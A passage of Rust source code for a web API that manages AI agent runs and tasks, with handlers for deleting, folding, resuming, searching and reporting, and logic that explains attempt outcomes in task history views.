3283 Ok(Json(RunDetailView::of(
3284 state,
3285 live,
3286 superseded_by,
3287 latest_attempt,
3288 task,
3289 )))
3290 })
3291 .await
3292}
3293
3294async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3303 let (id, unreadable) = {
3304 let ui = Arc::clone(&ui);
3305 blocking(move || {
3306 let id = resolve_run(&ui.runs, &id)?;
3307 match read_run(&ui.runs, &id) {
3308 Ok(state) => {
3309 let in_flight =
3310 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3311 state
3312 .ensure_can_delete(in_flight)
3313 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3314 let dir = ui.runs.join(&id);
3315 std::fs::remove_dir_all(&dir)
3316 .with_context(|| format!("remove run directory {}", dir.display()))?;
3317 Ok((id, false))
3318 }
3319 Err(_) => {
3320 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3324 return Err(ApiError::conflict(format!(
3325 "run {id} is being worked on by a live daemon right now"
3326 )));
3327 }
3328 Ok((id, true))
3329 }
3330 }
3331 })
3332 .await?
3333 };
3334 if unreadable {
3335 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3336 .await
3337 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3338 }
3339 let ui = Arc::clone(&ui);
3340 let done = id.clone();
3341 blocking(move || {
3342 ui.questions.abandon_for_run(
3345 &done,
3346 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3347 )?;
3348 Ok(())
3349 })
3350 .await?;
3351 Ok(StatusCode::NO_CONTENT)
3352}
3353
3354async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3378 let (id, state) = {
3379 let ui = Arc::clone(&ui);
3380 blocking(move || {
3381 let id = resolve_run(&ui.runs, &id)?;
3382 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3383 return Err(ApiError::conflict(format!(
3384 "run {id} is being worked on by a live daemon right now"
3385 )));
3386 }
3387 let state = read_run(&ui.runs, &id).ok();
3388 Ok((id, state))
3389 })
3390 .await?
3391 };
3392 let removed = match state {
3393 Some(mut state) => {
3394 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3395 .await
3396 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3397 if removed.is_empty() {
3402 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3403 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3404 }
3405 removed
3406 }
3407 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3408 .await
3409 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3410 };
3411 Ok(Json(FoldView {
3412 run: id,
3413 removed_count: removed.len(),
3414 removed,
3415 }))
3416}
3417
3418#[derive(Debug, Serialize)]
3420struct FoldView {
3421 run: String,
3422 removed: Vec<String>,
3424 removed_count: usize,
3425}
3426
3427#[derive(Debug, Deserialize)]
3430struct FoldMergedBody {
3431 #[serde(default)]
3432 pr_url: String,
3433}
3434
3435async fn run_fold_merged(
3455 State(ui): State<Arc<Ui>>,
3456 Path(id): Path<String>,
3457 Json(body): Json<FoldMergedBody>,
3458) -> ApiResult<Json<FoldMergedView>> {
3459 let pr_url = body.pr_url.trim().to_owned();
3460 if pr_url.is_empty() {
3461 return Err(ApiError::bad_request("pr_url is required"));
3462 }
3463 let (id, mut state) = {
3464 let ui = Arc::clone(&ui);
3465 blocking(move || {
3466 let id = resolve_run(&ui.runs, &id)?;
3467 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3468 return Err(ApiError::conflict(format!(
3469 "run {id} is being worked on by a live daemon right now"
3470 )));
3471 }
3472 let state = read_run(&ui.runs, &id)?;
3473 Ok((id, state))
3474 })
3475 .await?
3476 };
3477 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3478 .await
3479 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3480 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3481 .await
3482 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3483 Ok(Json(FoldMergedView {
3484 run: id,
3485 before: before.as_str().to_owned(),
3486 after: after.as_str().to_owned(),
3487 removed,
3488 }))
3489}
3490
3491#[derive(Debug, Serialize)]
3493struct FoldMergedView {
3494 run: String,
3495 before: String,
3497 after: String,
3499 removed: Vec<String>,
3501}
3502
3503async fn run_resume(
3523 State(ui): State<Arc<Ui>>,
3524 Path(id): Path<String>,
3525) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3526 let (id, state) = {
3527 let ui = Arc::clone(&ui);
3528 blocking(move || {
3529 let id = resolve_run(&ui.runs, &id)?;
3530 let state = read_run(&ui.runs, &id)?;
3531 Ok((id, state))
3532 })
3533 .await?
3534 };
3535 if let Some(to) = &state.released_to {
3536 return Err(ApiError::conflict(format!(
3537 "run {} can no longer be resumed: its worktree was released to run {}, which \
3538 took the branch over.",
3539 state.short(),
3540 crate::run::short_of(to)
3541 )));
3542 }
3543 if !state.status.resumable() {
3544 return Err(ApiError::conflict(format!(
3545 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3546 state.short(),
3547 status_word(state.status)
3548 )));
3549 }
3550 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3555 .into_iter()
3556 .next()
3557 {
3558 return Err(ApiError::conflict(format!(
3559 "the loop is running run {} right now; stop it first, or wait for \
3560 it to finish, before resuming a run by hand.",
3561 crate::run::short_of(&work.run)
3562 )));
3563 }
3564 let _resume = ui.begin_resume(&id)?;
3565
3566 let queued = RunSummary::of(
3569 &state,
3570 !ui.questions.open_for(&id).is_empty(),
3571 state.liveness(false),
3572 );
3573 let run = id.clone();
3574 tokio::spawn(async move {
3575 let _resume = _resume;
3576 match crate::graph::Runner::resume(&run) {
3577 Ok(mut runner) => {
3578 if let Err(e) = runner.execute().await {
3579 tracing::warn!("resume of run {run} stopped: {e:#}");
3580 }
3581 }
3582 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3585 }
3586 });
3587 Ok((StatusCode::ACCEPTED, Json(queued)))
3588}
3589
3590async fn run_report(
3591 State(ui): State<Arc<Ui>>,
3592 Path(id): Path<String>,
3593) -> ApiResult<impl IntoResponse> {
3594 let text = blocking(move || {
3595 let id = resolve_run(&ui.runs, &id)?;
3596 let state = read_run(&ui.runs, &id)?;
3600 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3601 let live = state.liveness(daemon_claims);
3602 Ok(format!(
3603 "{}{}",
3604 report::run(&state),
3605 report::active_seats(&state, live)
3606 ))
3607 })
3608 .await?;
3609 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3610}
3611
3612async fn run_report_json(
3616 State(ui): State<Arc<Ui>>,
3617 Path(id): Path<String>,
3618) -> ApiResult<Json<crate::report_view::RunReportView>> {
3619 let view = blocking(move || {
3620 let id = resolve_run(&ui.runs, &id)?;
3621 let state = read_run(&ui.runs, &id)?;
3622 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3623 Ok(crate::report_view::build(
3624 &state,
3625 state.liveness(daemon_claims),
3626 ))
3627 })
3628 .await?;
3629 Ok(Json(view))
3630}
3631
3632#[derive(Debug, Serialize)]
3638struct TaskView {
3639 #[serde(flatten)]
3640 task: Task,
3641 source_label: String,
3642 source_link: Option<SourceLink>,
3643 status_str: &'static str,
3644 instruction_md: Vec<md::Node>,
3648 waits_on: Vec<String>,
3652 stuck_roots: Vec<String>,
3655}
3656
3657impl From<Task> for TaskView {
3658 fn from(task: Task) -> Self {
3659 Self {
3660 source_label: task.source.label(),
3661 source_link: source_link(&task.source),
3662 status_str: task.status.as_str(),
3663 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3664 waits_on: Vec::new(),
3665 stuck_roots: Vec::new(),
3666 task,
3667 }
3668 }
3669}
3670
3671impl TaskView {
3672 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3673 let waits_on = inv.waits_on(&task);
3674 let stuck_roots = inv
3675 .stuck_roots(&task)
3676 .iter()
3677 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3678 .collect();
3679 Self {
3680 waits_on,
3681 stuck_roots,
3682 ..Self::from(task)
3683 }
3684 }
3685}
3686
3687#[derive(Debug, Default, Deserialize)]
3690#[serde(default)]
3691struct ReposQuery {
3692 refresh: u8,
3693}
3694
3695async fn repos_list(
3702 State(ui): State<Arc<Ui>>,
3703 Query(q): Query<ReposQuery>,
3704) -> ApiResult<Json<Vec<repos::Repo>>> {
3705 let refresh = q.refresh != 0;
3706 blocking(move || {
3707 let (cfg, _) = Config::discover(&ui.repo, None)?;
3708 Ok(Json(ui.repos_cache.list(
3709 &cfg.repos.roots,
3710 Duration::from_secs(cfg.repos.scan_ttl),
3711 refresh,
3712 )))
3713 })
3714 .await
3715}
3716
3717async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3721 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3722}
3723
3724#[derive(Debug, Deserialize)]
3726#[serde(deny_unknown_fields)]
3727struct RolesBody {
3728 revision: String,
3730 #[serde(default)]
3732 roles: std::collections::BTreeMap<String, Vec<String>>,
3733 #[serde(default)]
3737 counts: std::collections::BTreeMap<String, serde_json::Value>,
3738}
3739
3740async fn settings_put_roles(
3746 State(ui): State<Arc<Ui>>,
3747 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3748) -> ApiResult<Json<settings::SettingsView>> {
3749 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3750 blocking(move || {
3751 settings::save(
3752 &ui.repo,
3753 ui.machine_config.as_deref(),
3754 &body.revision,
3755 &body.roles,
3756 &body.counts,
3757 )
3758 .map(Json)
3759 .map_err(|e| match e {
3760 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3761 settings::SaveError::Refused(m) => ApiError {
3762 status: StatusCode::UNPROCESSABLE_ENTITY,
3763 message: m,
3764 },
3765 settings::SaveError::Internal(m) => ApiError::internal(m),
3766 })
3767 })
3768 .await
3769}
3770
3771async fn queue_list(
3772 State(ui): State<Arc<Ui>>,
3773 Query(q): Query<ListQuery>,
3774) -> ApiResult<Json<Vec<TaskView>>> {
3775 blocking(move || {
3776 let tasks = ui.queue.list();
3777 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3778 Ok(Json(
3779 tasks
3780 .into_iter()
3781 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3782 .map(|t| TaskView::with_inventory(t, &inv))
3783 .collect(),
3784 ))
3785 })
3786 .await
3787}
3788
3789const SEARCH_MAX_HITS: usize = 100;
3791const SEARCH_MAX_QUERY: usize = 200;
3793const SEARCH_MAX_TERMS: usize = 8;
3794const SNIPPET_BEFORE: usize = 50;
3796const SNIPPET_AFTER: usize = 110;
3797
3798#[derive(Debug, Deserialize)]
3800struct SearchQuery {
3801 #[serde(default)]
3802 scope: String,
3803 #[serde(default)]
3804 q: String,
3805}
3806
3807#[derive(Debug, Serialize, PartialEq, Eq)]
3810struct SnippetPart {
3811 text: String,
3812 hit: bool,
3813}
3814
3815#[derive(Debug, Serialize)]
3816struct SearchHit {
3817 id: String,
3818 field: String,
3820 snippet: Vec<SnippetPart>,
3821 #[serde(skip_serializing_if = "Option::is_none")]
3825 run: Option<RunSummary>,
3826}
3827
3828#[derive(Debug, Serialize)]
3829struct SearchView {
3830 scope: String,
3831 q: String,
3832 hits: Vec<SearchHit>,
3834 total: usize,
3836 truncated: bool,
3837 unreadable: usize,
3840}
3841
3842fn text_leaves<'a>(
3845 value: &'a serde_json::Value,
3846 field: &'a str,
3847 out: &mut Vec<(&'a str, &'a str)>,
3848) {
3849 match value {
3850 serde_json::Value::String(s) => out.push((field, s)),
3851 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3852 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3853 _ => {}
3854 }
3855}
3856
3857fn fold_char(c: char) -> char {
3860 c.to_lowercase().next().unwrap_or(c)
3861}
3862
3863fn search_terms(q: &str) -> Vec<String> {
3865 let mut terms: Vec<String> = Vec::new();
3866 for t in q.split_whitespace() {
3867 let t = t.to_lowercase();
3868 if !terms.contains(&t) {
3869 terms.push(t);
3870 }
3871 }
3872 terms
3873}
3874
3875fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3878 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3879 let mut first: Option<usize> = None;
3880 for term in terms {
3881 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3882 first = Some(first.map_or(at, |f| f.min(at)));
3883 }
3884 let (field, text) = leaves[first?];
3886 Some(SearchHit {
3887 id: String::new(),
3888 field: field.to_owned(),
3889 snippet: snippet_of(text, terms),
3890 run: None,
3891 })
3892}
3893
3894fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3897 let chars: Vec<char> = text.chars().collect();
3898 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3899 let needles: Vec<Vec<char>> = terms
3900 .iter()
3901 .map(|t| t.chars().map(fold_char).collect())
3902 .collect();
3903 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3904 let mut best: Option<(usize, usize)> = None;
3905 for n in needles.iter().filter(|n| !n.is_empty()) {
3906 if n.len() > chars.len() || to == 0 {
3910 continue;
3911 }
3912 let last = (to - 1).min(chars.len() - n.len());
3913 if from > last {
3914 continue;
3915 }
3916 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3917 && best.is_none_or(|(b, _)| i < b)
3918 {
3919 best = Some((i, i + n.len()));
3920 }
3921 }
3922 best
3923 };
3924 let Some((start, _)) = find(0, chars.len()) else {
3925 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3927 return vec![SnippetPart {
3928 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3929 hit: false,
3930 }];
3931 };
3932 let lo = start.saturating_sub(SNIPPET_BEFORE);
3933 let hi = (start + SNIPPET_AFTER).min(chars.len());
3934 let mut parts: Vec<SnippetPart> = Vec::new();
3935 let mut push = |s: &[char], hit: bool| {
3936 if s.is_empty() {
3937 return;
3938 }
3939 let text: String = s.iter().collect();
3940 match parts.last_mut() {
3941 Some(p) if p.hit == hit => p.text.push_str(&text),
3942 _ => parts.push(SnippetPart { text, hit }),
3943 }
3944 };
3945 if lo > 0 {
3946 push(&['\u{2026}'], false);
3947 }
3948 let mut at = lo;
3949 while at < hi {
3950 match find(at, hi) {
3951 Some((s, e)) => {
3952 push(&chars[at..s], false);
3953 let shown = e.min(hi);
3955 push(&chars[s..shown], true);
3956 at = shown;
3957 }
3958 None => {
3959 push(&chars[at..hi], false);
3960 at = hi;
3961 }
3962 }
3963 }
3964 if hi < chars.len() {
3965 push(&['\u{2026}'], false);
3966 }
3967 let mut prev_space = false;
3970 for p in &mut parts {
3971 let mut out = String::with_capacity(p.text.len());
3972 for c in p.text.chars() {
3973 if c.is_whitespace() {
3974 if !prev_space {
3975 out.push(' ');
3976 }
3977 prev_space = true;
3978 } else {
3979 out.push(c);
3980 prev_space = false;
3981 }
3982 }
3983 p.text = out;
3984 }
3985 parts.retain(|p| !p.text.is_empty());
3986 parts
3987}
3988
3989fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3991where
3992 I: IntoIterator<Item = (String, serde_json::Value)>,
3993{
3994 for (id, doc) in docs {
3995 let mut leaves = Vec::new();
3996 leaves.push(("id", id.as_str()));
3999 text_leaves(&doc, "", &mut leaves);
4000 if let Some(mut hit) = search_document(terms, &leaves) {
4001 view.total += 1;
4002 if view.hits.len() < SEARCH_MAX_HITS {
4003 hit.id = id;
4004 view.hits.push(hit);
4005 }
4006 }
4007 }
4008 view.truncated = view.total > view.hits.len();
4009}
4010
4011fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4018 let opener = talk
4019 .turns
4020 .iter()
4021 .find(|t| t.who == crate::talk::Who::Operator)
4022 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4023 .unwrap_or("");
4024 let title: String = if opener.chars().count() > 96 {
4025 opener.chars().take(95).chain(['\u{2026}']).collect()
4026 } else {
4027 opener.to_owned()
4028 };
4029 let turns: Vec<serde_json::Value> = talk
4030 .turns
4031 .iter()
4032 .map(|t| {
4033 let who = match t.who {
4034 crate::talk::Who::Operator => "operator",
4035 crate::talk::Who::Agent => "agent",
4036 };
4037 serde_json::json!({ who: t.body })
4038 })
4039 .collect();
4040 serde_json::json!({ "title": title, "turns": turns })
4041}
4042
4043async fn search_get(
4050 State(ui): State<Arc<Ui>>,
4051 Query(q): Query<SearchQuery>,
4052) -> ApiResult<Json<SearchView>> {
4053 let query = q.q.trim().to_owned();
4054 if query.is_empty() {
4055 return Err(ApiError::bad_request("q must not be empty"));
4056 }
4057 if query.chars().count() > SEARCH_MAX_QUERY {
4058 return Err(ApiError::bad_request(format!(
4059 "q is longer than {SEARCH_MAX_QUERY} characters"
4060 )));
4061 }
4062 let terms = search_terms(&query);
4063 if terms.len() > SEARCH_MAX_TERMS {
4064 return Err(ApiError::bad_request(format!(
4065 "q has more than {SEARCH_MAX_TERMS} terms"
4066 )));
4067 }
4068 let scope = q.scope;
4069 if scope != "runs" && scope != "tasks" && scope != "chats" {
4070 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4071 }
4072 blocking(move || {
4073 let mut view = SearchView {
4074 scope: scope.clone(),
4075 q: query,
4076 hits: Vec::new(),
4077 total: 0,
4078 truncated: false,
4079 unreadable: 0,
4080 };
4081 if scope == "runs" {
4082 let mut unreadable = 0;
4083 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4087 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4088 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4089 Some(v) => Some((id, v)),
4090 None => {
4091 unreadable += 1;
4092 None
4093 }
4094 }
4095 });
4096 search_docs(&terms, docs, &mut view);
4097 view.unreadable = unreadable;
4098 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4101 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4102 for hit in &mut view.hits {
4103 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4104 hit.run = summarize(
4105 [state],
4106 &open_runs,
4107 &claimed,
4108 &superseded,
4109 |p| probe.borrow_mut().status(p),
4110 |p| probe.borrow_mut().started_at(p),
4111 )
4112 .pop();
4113 }
4114 }
4115 } else if scope == "chats" {
4116 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4117 view.unreadable = unreadable;
4118 search_docs(
4119 &terms,
4120 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4121 &mut view,
4122 );
4123 } else {
4124 let docs = ui.queue.list().into_iter().filter_map(|t| {
4125 let mut v = serde_json::to_value(&t).ok()?;
4126 if let Some(o) = v.as_object_mut() {
4129 o.insert("filed_by".to_owned(), t.source.label().into());
4130 }
4131 Some((t.id, v))
4132 });
4133 search_docs(&terms, docs, &mut view);
4134 }
4135 Ok(Json(view))
4136 })
4137 .await
4138}
4139
4140#[derive(Debug, Serialize)]
4142struct TaskRunView {
4143 n: usize,
4145 id: String,
4146 short: String,
4147 kind: &'static str,
4149 status: Option<&'static str>,
4151 readable: bool,
4153 provisional: bool,
4155 description: String,
4157 outcome: String,
4159 created_at: Option<Timestamp>,
4160 pr: Option<String>,
4161 exit: RunExit,
4163 attempt: AttemptCost,
4165 branch: Option<String>,
4167}
4168
4169#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4171#[serde(rename_all = "snake_case")]
4172enum RunExit {
4173 Unreadable,
4174 Interrupted,
4176 Parked,
4177 QuotaStall,
4178 ResumedQuotaStall,
4182 Merged,
4183 Ready,
4184 Superseded,
4185 AlreadyInBase,
4188 Stalled,
4190 HeldWithPr,
4192 NoopHeld,
4193 Spent,
4195 InProgress,
4196}
4197
4198#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4199#[serde(rename_all = "snake_case")]
4200enum AttemptCost {
4201 Spent,
4202 Refunded,
4203 None,
4204 Unknown,
4206}
4207
4208impl RunExit {
4209 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4210 let Some(s) = s else {
4211 return Self::Unreadable;
4212 };
4213 let status = s.status;
4214 if resumed_later {
4215 Self::Interrupted
4216 } else if s.parked {
4217 Self::Parked
4218 } else if !status.done() {
4219 Self::InProgress
4220 } else if matches!(status, RunStatus::Merged) {
4221 Self::Merged
4222 } else if matches!(status, RunStatus::Ready) {
4223 Self::Ready
4224 } else if matches!(status, RunStatus::Superseded) {
4225 Self::Superseded
4226 } else if matches!(status, RunStatus::AlreadyInBase) {
4227 Self::AlreadyInBase
4228 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4229 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4230 {
4231 if resumed {
4232 Self::ResumedQuotaStall
4233 } else {
4234 Self::QuotaStall
4235 }
4236 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4237 Self::HeldWithPr
4238 } else if matches!(status, RunStatus::VerifiedNoop) {
4239 Self::NoopHeld
4240 } else if matches!(status, RunStatus::Stalled) {
4241 Self::Stalled
4242 } else {
4243 Self::Spent
4244 }
4245 }
4246
4247 fn cost(self) -> AttemptCost {
4248 match self {
4249 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4250 Self::Merged
4251 | Self::Ready
4252 | Self::Stalled
4253 | Self::HeldWithPr
4254 | Self::NoopHeld
4255 | Self::Spent => AttemptCost::Spent,
4256 Self::InProgress => AttemptCost::None,
4257 Self::AlreadyInBase => AttemptCost::Refunded,
4258 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4259 AttemptCost::Unknown
4260 }
4261 }
4262 }
4263
4264 fn edge_label(self, status: Option<&str>) -> String {
4266 match self {
4267 Self::Unreadable => "record unreadable".to_owned(),
4268 Self::Interrupted => "interrupted before the run finished".to_owned(),
4269 Self::Parked => "parked, attempt refunded".to_owned(),
4270 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4271 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4272 Self::Merged => "merged".to_owned(),
4273 Self::Ready => "ready, not merged".to_owned(),
4274 Self::Superseded => "superseded by a later attempt".to_owned(),
4275 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4276 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4277 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4278 Self::NoopHeld => "verified no-op".to_owned(),
4279 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4280 Self::InProgress => "in progress".to_owned(),
4281 }
4282 }
4283
4284 fn explains(self, end: TaskStatus) -> bool {
4287 match self {
4288 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4289 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4290 Self::Unreadable | Self::Superseded | Self::Ready => true,
4291 _ => end != TaskStatus::Done,
4292 }
4293 }
4294}
4295
4296#[derive(Debug, Serialize)]
4298struct TaskDetailView {
4299 #[serde(flatten)]
4300 task: TaskView,
4301 max_attempts: usize,
4304 history: Vec<TaskRunView>,
4305 flow: FlowView,
4306 runs_unreadable: usize,
4308 attempts_note: &'static str,
4310}
4311
4312const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4313and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4314on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4315in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4316
4317fn review_branch_of(instruction: &str) -> Option<&str> {
4320 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4321 rest.split('`').next().filter(|b| !b.is_empty())
4322}
4323
4324struct RunSlot<'a> {
4326 n: usize,
4328 resumed: bool,
4330 resumed_later: Option<usize>,
4332 prior: Option<(&'a str, RunStatus)>,
4334 last: bool,
4335}
4336
4337fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4340 let RunSlot {
4341 n,
4342 resumed,
4343 resumed_later,
4344 prior,
4345 last,
4346 } = at;
4347 let short = run::short_of(id).to_owned();
4348 let Some(s) = state else {
4349 return TaskRunView {
4350 n,
4351 id: id.to_owned(),
4352 short,
4353 kind: "unknown",
4354 status: None,
4355 readable: false,
4356 provisional: false,
4357 description:
4358 "This run's record could not be read by this build (written by a different \
4359 magi, or removed), so what kind of attempt it was is unknown."
4360 .to_owned(),
4361 outcome: String::new(),
4362 created_at: None,
4363 pr: None,
4364 exit: RunExit::Unreadable,
4365 attempt: AttemptCost::Unknown,
4366 branch: None,
4367 };
4368 };
4369 let branch = review_branch_of(&s.instruction);
4370 let kind = if resumed {
4371 "resume"
4372 } else if branch.is_some() {
4373 "review"
4374 } else if task.solo || s.candidates.len() == 1 {
4375 "solo"
4376 } else {
4377 "competition"
4378 };
4379 let mut description = match kind {
4380 "resume" => {
4381 format!("Resumed run {short}: the same run carried on instead of competing again.")
4382 }
4383 "review" => format!(
4384 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4385 branch.unwrap_or_default()
4386 ),
4387 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4388 _ => format!(
4389 "Competition: {} candidates judged blind.",
4390 s.candidates.len().max(1)
4391 ),
4392 };
4393 if !resumed && let Some((p, st)) = prior {
4394 description.push_str(&format!(
4395 " A retry: run {p} before it ended {}.",
4396 st.display_label()
4397 ));
4398 }
4399
4400 let status = s.status;
4401 let provisional = matches!(status, RunStatus::Stalled)
4402 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4403 let head = if resumed_later.is_some() {
4404 String::new()
4405 } else {
4406 match status {
4407 RunStatus::Merged => "Merged.".to_owned(),
4408 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4409 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4410 RunStatus::AlreadyInBase => {
4411 "Already in the base: this change landed under other commits, nothing was left to land."
4412 .to_owned()
4413 }
4414 RunStatus::Stalled => {
4415 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4416 .to_owned()
4417 }
4418 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4419 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4420 RunStatus::VerifiedNoop => {
4421 "Verified no-op: the candidates found nothing to change.".to_owned()
4422 }
4423 other if other.done() => format!("Ended {}.", other.display_label()),
4424 other => format!("In progress ({}).", other.display_label()),
4425 }
4426 };
4427 let why = if let Some(k) = resumed_later {
4428 let cause = if s.quota.is_empty() {
4435 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4436 } else {
4437 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4438 };
4439 format!(
4440 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4441 )
4442 } else if s.parked {
4443 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4444 .to_owned()
4445 } else if !status.done()
4446 || matches!(
4447 status,
4448 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4449 )
4450 {
4451 String::new()
4452 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4453 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4454 {
4455 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4456 .to_owned()
4457 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4458 " It left a pull request open, so the task was held for a person rather than retried."
4459 .to_owned()
4460 } else if matches!(status, RunStatus::VerifiedNoop) {
4461 " Held for a person to check the claim.".to_owned()
4462 } else if last {
4463 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4464 } else {
4465 " It spent an attempt, and the task moved on to the next run.".to_owned()
4466 };
4467 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4468 TaskRunView {
4469 n,
4470 id: id.to_owned(),
4471 short,
4472 kind,
4473 status: Some(status.as_str()),
4474 readable: true,
4475 provisional,
4476 description,
4477 outcome: format!("{head}{why}"),
4478 created_at: Some(s.created_at),
4479 pr: s.pr.as_ref().map(|p| p.url.clone()),
4480 exit,
4481 attempt: exit.cost(),
4482 branch: branch.map(str::to_owned),
4483 }
4484}
4485
4486#[derive(Debug, Serialize, PartialEq)]
4488struct FlowNode {
4489 key: String,
4491 kind: &'static str,
4493 label: String,
4494 status: Option<&'static str>,
4497 note: Option<&'static str>,
4499 run_kind: Option<&'static str>,
4500 detail: Option<String>,
4501 decided: bool,
4503 readable: bool,
4504 href: Option<String>,
4505}
4506
4507#[derive(Debug, Serialize, PartialEq)]
4508struct FlowEdge {
4509 from: String,
4510 to: String,
4511 label: String,
4512 attempt: AttemptCost,
4513}
4514
4515#[derive(Debug, Serialize, PartialEq)]
4516struct FlowView {
4517 nodes: Vec<FlowNode>,
4518 edges: Vec<FlowEdge>,
4519 attempts: usize,
4521 max_attempts: usize,
4522}
4523
4524fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4527 let node = |key: &str, kind, label: String| FlowNode {
